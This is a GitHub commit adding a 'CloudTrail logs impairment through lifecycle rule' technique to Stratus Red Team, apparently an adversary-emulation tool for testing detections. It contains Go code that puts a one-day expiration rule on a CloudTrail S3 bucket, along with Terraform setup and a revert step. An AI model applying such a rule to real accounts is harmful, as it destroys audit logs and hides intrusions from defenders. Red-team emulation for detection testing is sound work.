-
Notifications
You must be signed in to change notification settings - Fork 201
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
New technique: CloudTrail logs impairement through lifecycle rule
- Loading branch information
1 parent
3b64fc4
commit 79e61bb
Showing
7 changed files
with
196 additions
and
0 deletions.
There are no files selected for viewing
30 changes: 30 additions & 0 deletions
30
docs/attack-techniques/AWS/aws.defense-evasion.cloudtrail-lifecycle-rule.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,30 @@ | ||
--- | ||
title: CloudTrail Logs Impairment Through Lifecycle Rule | ||
--- | ||
|
||
# CloudTrail Logs Impairment Through Lifecycle Rule | ||
|
||
Platform: AWS | ||
|
||
## MITRE ATT&CK Tactics | ||
|
||
|
||
- Defense Evasion | ||
|
||
## Description | ||
|
||
|
||
Automatically delete CloudTrail logs after 1 day by setting a Lifecycle Rule on the CloudTrail S3 bucket. | ||
|
||
References: https://www.justice.gov/usao-sdny/press-release/file/1452706/download | ||
|
||
Warm-up: Creates a CloudTrail trail. | ||
|
||
Detonation: Applies a 1-day retention S3 Lifecycle Rule. | ||
|
||
|
||
## Instructions | ||
|
||
```bash title="Detonate with Stratus Red Team" | ||
stratus detonate aws.defense-evasion.cloudtrail-lifecycle-rule | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
80 changes: 80 additions & 0 deletions
80
internal/attacktechniques/aws/defense-evasion/cloudtrail-lifecycle-rule/main.go
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,80 @@ | ||
package aws | ||
|
||
import ( | ||
"context" | ||
_ "embed" | ||
"errors" | ||
"github.com/aws/aws-sdk-go-v2/aws" | ||
"github.com/aws/aws-sdk-go-v2/service/s3" | ||
"github.com/aws/aws-sdk-go-v2/service/s3/types" | ||
"github.com/datadog/stratus-red-team/internal/providers" | ||
"github.com/datadog/stratus-red-team/pkg/stratus" | ||
"github.com/datadog/stratus-red-team/pkg/stratus/mitreattack" | ||
"log" | ||
) | ||
|
||
//go:embed main.tf | ||
var tf []byte | ||
|
||
func init() { | ||
stratus.GetRegistry().RegisterAttackTechnique(&stratus.AttackTechnique{ | ||
ID: "aws.defense-evasion.cloudtrail-lifecycle-rule", | ||
FriendlyName: "CloudTrail Logs Impairment Through Lifecycle Rule", | ||
Platform: stratus.AWS, | ||
MitreAttackTactics: []mitreattack.Tactic{mitreattack.DefenseEvasion}, | ||
Description: ` | ||
Automatically delete CloudTrail logs after 1 day by setting a Lifecycle Rule on the CloudTrail S3 bucket. | ||
References: https://www.justice.gov/usao-sdny/press-release/file/1452706/download | ||
Warm-up: Creates a CloudTrail trail. | ||
Detonation: Applies a 1-day retention S3 Lifecycle Rule. | ||
`, | ||
PrerequisitesTerraformCode: tf, | ||
Detonate: detonate, | ||
Revert: revert, | ||
}) | ||
} | ||
|
||
func detonate(params map[string]string) error { | ||
s3Client := s3.NewFromConfig(providers.AWS().GetConnection()) | ||
bucketName := params["s3_bucket_name"] | ||
|
||
log.Println("Setting a short retention policy on CloudTrail S3 bucket " + bucketName) | ||
_, err := s3Client.PutBucketLifecycleConfiguration(context.Background(), &s3.PutBucketLifecycleConfigurationInput{ | ||
Bucket: aws.String(bucketName), | ||
LifecycleConfiguration: &types.BucketLifecycleConfiguration{ | ||
Rules: []types.LifecycleRule{ | ||
{ | ||
ID: aws.String("nuke-cloudtrail-logs-after-1-day"), | ||
Status: types.ExpirationStatusEnabled, | ||
Expiration: &types.LifecycleExpiration{Days: 1}, | ||
Filter: &types.LifecycleRuleFilterMemberPrefix{ | ||
Value: "*", | ||
}, | ||
}, | ||
}, | ||
}, | ||
}) | ||
|
||
if err != nil { | ||
return errors.New("unable to create S3 Lifecycle Policy Rule: " + err.Error()) | ||
} | ||
return nil | ||
} | ||
|
||
func revert(params map[string]string) error { | ||
s3Client := s3.NewFromConfig(providers.AWS().GetConnection()) | ||
bucketName := params["s3_bucket_name"] | ||
|
||
log.Println("Reverting S3 Lifecycle Rules on CloudTrail S3 bucket " + bucketName) | ||
_, err := s3Client.DeleteBucketLifecycle(context.Background(), &s3.DeleteBucketLifecycleInput{ | ||
Bucket: aws.String(bucketName), | ||
}) | ||
|
||
if err != nil { | ||
return errors.New("unable to revert S3 Lifecycle Policy Rule: " + err.Error()) | ||
} | ||
return nil | ||
} |
81 changes: 81 additions & 0 deletions
81
internal/attacktechniques/aws/defense-evasion/cloudtrail-lifecycle-rule/main.tf
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,81 @@ | ||
terraform { | ||
required_providers { | ||
aws = { | ||
source = "hashicorp/aws" | ||
version = "~> 3.71.0" | ||
} | ||
} | ||
} | ||
provider "aws" { | ||
skip_region_validation = true | ||
skip_credentials_validation = true | ||
skip_get_ec2_platforms = true | ||
skip_metadata_api_check = true | ||
default_tags { | ||
tags = { | ||
StratusRedTeam = true | ||
} | ||
} | ||
} | ||
|
||
resource "aws_cloudtrail" "trail" { | ||
name = "my-cloudtrail-trail-3" | ||
s3_bucket_name = aws_s3_bucket.cloudtrail.id | ||
} | ||
|
||
resource "random_string" "suffix" { | ||
length = 16 | ||
min_lower = 16 | ||
special = false | ||
} | ||
|
||
locals { | ||
bucket-name = "my-cloudtrail-bucket-${random_string.suffix.result}" | ||
} | ||
resource "aws_s3_bucket" "cloudtrail" { | ||
bucket = local.bucket-name | ||
force_destroy = true | ||
|
||
policy = <<POLICY | ||
{ | ||
"Version": "2012-10-17", | ||
"Statement": [ | ||
{ | ||
"Sid": "AWSCloudTrailAclCheck", | ||
"Effect": "Allow", | ||
"Principal": { | ||
"Service": "cloudtrail.amazonaws.com" | ||
}, | ||
"Action": "s3:GetBucketAcl", | ||
"Resource": "arn:aws:s3:::${local.bucket-name}" | ||
}, | ||
{ | ||
"Sid": "AWSCloudTrailWrite", | ||
"Effect": "Allow", | ||
"Principal": { | ||
"Service": "cloudtrail.amazonaws.com" | ||
}, | ||
"Action": "s3:PutObject", | ||
"Resource": "arn:aws:s3:::${local.bucket-name}/*", | ||
"Condition": { | ||
"StringEquals": { | ||
"s3:x-amz-acl": "bucket-owner-full-control" | ||
} | ||
} | ||
} | ||
] | ||
} | ||
POLICY | ||
} | ||
|
||
output "cloudtrail_trail_name" { | ||
value = aws_cloudtrail.trail.name | ||
} | ||
|
||
output "s3_bucket_name" { | ||
value = aws_s3_bucket.cloudtrail.id | ||
} | ||
|
||
output "display" { | ||
value = format("CloudTrail trail %s ready, logging to S3 bucket %s", aws_cloudtrail.trail.arn, aws_s3_bucket.cloudtrail.id) | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters